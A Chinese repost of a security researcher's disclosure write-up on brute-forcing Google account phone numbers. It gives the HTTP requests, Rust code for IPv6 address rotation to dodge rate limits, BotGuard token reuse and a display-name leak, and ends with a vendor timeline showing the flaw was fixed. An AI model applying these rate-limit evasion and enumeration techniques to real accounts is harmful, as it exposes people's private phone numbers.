这让我很惊讶,因为我曾经认为这些帐户恢复表单自 2018 年以来就需要 javascript,因为它们依赖于由高度混淆的工作量证明 javascript 代码生成的 botguard 解决方案来进行反滥用。
深入了解端点
用户名恢复表单似乎允许你检查辅助邮箱或电话号码是否与特定的显示名称关联。这需要两个 HTTP 请求:
请求
POST/signin/usernamerecovery HTTP/2Host: accounts.google.comCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0oContent-Length: 81Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359
cookie 和 gxf 值来自初始页面 HTML
回复
HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/name?ess=..<SNIP>..&hl=en
这为我们提供了一个ess与该电话号码绑定的值,我们可以在下一个 HTTP 请求中使用它。
要求
POST/signin/usernamerecovery/lookup HTTP/2Host: accounts.google.comCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0oOrigin: https://accounts.google.comContent-Type: application/x-www-form-urlencodedPriority: u=0, ichallengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith
此请求允许我们检查是否存在具有该电话号码以及显示名称的 Google 帐户"John Smith"。
回应(未找到账户)
HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...
响应(找到帐户)
HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...
我们能强行做到这一点吗?
我第一次尝试失败了。它似乎在几次请求后就限制了你的 IP 地址,并显示验证码。
也许我们可以使用代理来解决这个问题?以荷兰为例,忘记密码流程会提供电话提示•• ••••••03
对于荷兰的手机号码,它们总是以 开头06,这意味着我们需要强行破解 6 位数字。10**6 = 1,000,000 个号码。使用代理或许可以做到这一点,但肯定有更好的方法。
IPv6 怎么样?
大多数服务提供商(例如Vultr)都提供 /64 的 IP 地址范围,这为我们提供了 18,446,744,073,709,551,616 个地址。理论上,我们可以使用 IPv6,并为每个请求轮换 IP 地址,从而绕过此速率限制。
HTTP 服务器似乎也支持 IPv6:
~ $ curl -6 https://accounts.google.com<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><!-- GSE Default Error --><H1>Moved Temporarily</H1>The document has moved <AHREF="https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F">here</A>.</BODY></HTML>
为了测试这一点,我通过我的网络接口路由了我的 IPv6 范围,并开始在gpb上工作,使用reqwest 的 local_address 方法将ClientBuilder我的 IP 地址设置为我子网上的随机 IP:
pub fn get_rand_ipv6(subnet: &str) -> IpAddr {let (ipv6, prefix_len) = match subnet.parse::<Ipv6Cidr>() { Ok(cidr) => {let ipv6 = cidr.first_address();let length = cidr.network_length(); (ipv6, length) } Err(_) => { panic!("invalid IPv6 subnet"); } };let ipv6_u128: u128 = u128::from(ipv6);let rand: u128 = random();let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);let host_part = (rand << prefix_len) >> prefix_len;let result = net_part | host_part; IpAddr::V6(Ipv6Addr::from(result))}pub fn create_client(subnet: &str, user_agent: &str) -> Client {let ip = get_rand_ipv6(subnet); Client::builder() .redirect(redirect::Policy::none()) .danger_accept_invalid_certs(true) .user_agent(user_agent) .local_address(Some(ip)) .build().unwrap()}
最终,我成功运行了 PoC,但仍然会弹出验证码?不知何故,使用禁用 JS 表单的数据中心 IP 地址似乎总是会弹出验证码,真是的!
使用 JS 表单中的 BotGuard 令牌
我又仔细检查了这两个请求,想看看能不能找到一些方法来解决这个问题,结果bgresponse=js_disabled引起了我的注意。我记得在启用 JS 的帐户恢复表单中,botguard 令牌是通过bgRequest参数传递的。
js_disabled 如果我用启用 JS 的表单请求中的 botguard 令牌替换它,会怎么样?我测试过了,成功了?。botguard 令牌在非 JS 表单上似乎没有请求限制,但这些随机的人是谁?
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000Startingwith3000 threads...HIT: +31612345603HIT: +31623456703HIT: +31634567803HIT: +31645678903HIT: +31656789003HIT: +31658854003HIT: +31667890103HIT: +31678901203HIT: +31689012303HIT: +31690123403HIT: +31701234503HIT: +31712345603HIT: +31723456703
我花了一点时间才意识到这一点,但这些人的 Google 帐户名为“Henry”,没有设置姓氏,而且他们的电话号码后两位数字是03。对于这些号码,它会返回usernamerecovery/challenge名字 Henry 和任何姓氏。
我添加了一些额外的代码来验证是否能匹配名字和随机姓氏,例如0fasfk1AFko1wf。如果它仍然声称匹配,就会被过滤掉,如下所示:
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000Startingwith3000 threads...HIT: +31658854003Finished.
实际上,不太可能获得多次匹配,因为另一个 Google 用户拥有相同的完整显示名称、最后两位数字以及国家代码的情况并不常见。
需要理清的一些事情
我们有一个基本的 PoC 可以运行,但仍有一些问题需要解决。
-
我们如何知道受害者的电话是哪个国家代码?
-
我们如何获取受害者的 Google 帐户显示名称?
我们如何知道受害者的电话是哪个国家代码?
有趣的是,我们可以根据忘记密码流程提供的电话号码掩码推算出国家/地区代码。Google 实际上只是为每个号码使用了libphonenumbers的“国家/地区格式”。
以下是一些示例:
{ ..."• (•••) •••-••-••": ["ru" ],"•• ••••••••": ["nl" ],"••••• ••••••": ["gb" ],"(•••) •••-••••": ["us" ]}
我编写了一个脚本,将所有国家的屏蔽国家格式收集为mask.json。
我们如何获取受害者的 Google 帐户显示名称?
最初在 2023 年,谷歌改变了他们的政策,仅在目标与你直接互动(电子邮件、共享文档等)时才显示姓名,因此他们逐渐从终端中删除了姓名。到 2024 年 4 月,他们更新了内部FocusBackend服务,完全停止返回未经身份验证的帐户的显示名称,几乎所有显示名称都被删除。
在经历了所有这些之后,要找到显示名称泄漏将会非常棘手,但最终在浏览了随机的 Google 产品后,我发现我可以创建一个Looker Studio文档,将其所有权转移给受害者,然后受害者的显示名称就会在主页上泄漏,且无需受害者进行任何交互:
进一步优化
通过使用libphonenumbers的号码验证,我能够生成一个包含手机前缀、已知区号和每个国家的数字计数的format.json 。
..."nl": {"code": "31","area_codes": ["61", "62", "63", "64", "65", "68"],"digits": [7] }, ...
我还实现了实时 libphonenumber 验证,以减少对 Google API 的无效号码查询。对于 botguard 令牌,我使用chromedp编写了一个Go 脚本,只需一个简单的 API 调用即可生成 BotGuard 令牌:
$ curl http://localhost:7912/api/generate_bgtoken{"bgToken": "<generated_botguard_token>"}
整合起来
我们基本上拥有完整的攻击链,我们只需要将其放在一起。
-
通过 Looker Studio 泄露 Google 帐户显示名称
-
完成该电子邮件的忘记密码流程并获取屏蔽电话
-
运行gpb带有显示名称和屏蔽电话的程序来暴力破解电话号码
破解号码所需时间
使用具有消费级规格(16 vcpu)的每小时 0.30 美元的服务器,我每秒可以实现约 40k 次检查。
只需输入“忘记密码”流程电话提示中的最后 2 位数字:
通过其他服务(如 PayPal)中的密码重置流程中的电话号码提示也可以显著减少此时间,这些服务提供了更多数字(例如+14•••••1779)
时间线
2025-04-14 - 报告已发送给供应商
2025-04-15 - 供应商分类报告
2025-04-25 - 🎉接得好!
2025-05-15 -专家组奖励 1,337 美元及礼品。理由:漏洞利用可能性低。(笑)
该问题被认定为与滥用相关的方法,且影响巨大。
2025-05-15 - 申诉奖励原因:根据滥用 VRP 表,概率/可利用性取决于本次攻击所需的先决条件以及受害者是否能够发现漏洞。本次攻击无需任何先决条件,受害者也无法发现漏洞。
2025-05-22 -小组额外奖励 3,663 美元。原因:感谢您对我们初始奖励的反馈。我们已考虑您的意见并进行了深入讨论。我们很高兴地宣布,我们已将中奖可能性提升至中等,并将奖励总额调整为 5,000 美元(加上我们已发送的赠品代码)。感谢您的报告,期待您的下次报告。
2025-05-22——供应商确认他们已经推出了飞行中缓解措施,同时端点弃用在全球范围内推出。
2025-05-22 - 与供应商协调2025-06-09的披露
2025-06-06 - 供应商确认 No-JS 用户名恢复表单已完全弃用
2025-06-09 - 报告披露
原文始发于微信公众号(Ots安全):暴力破解任意 Google 用户的电话号码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论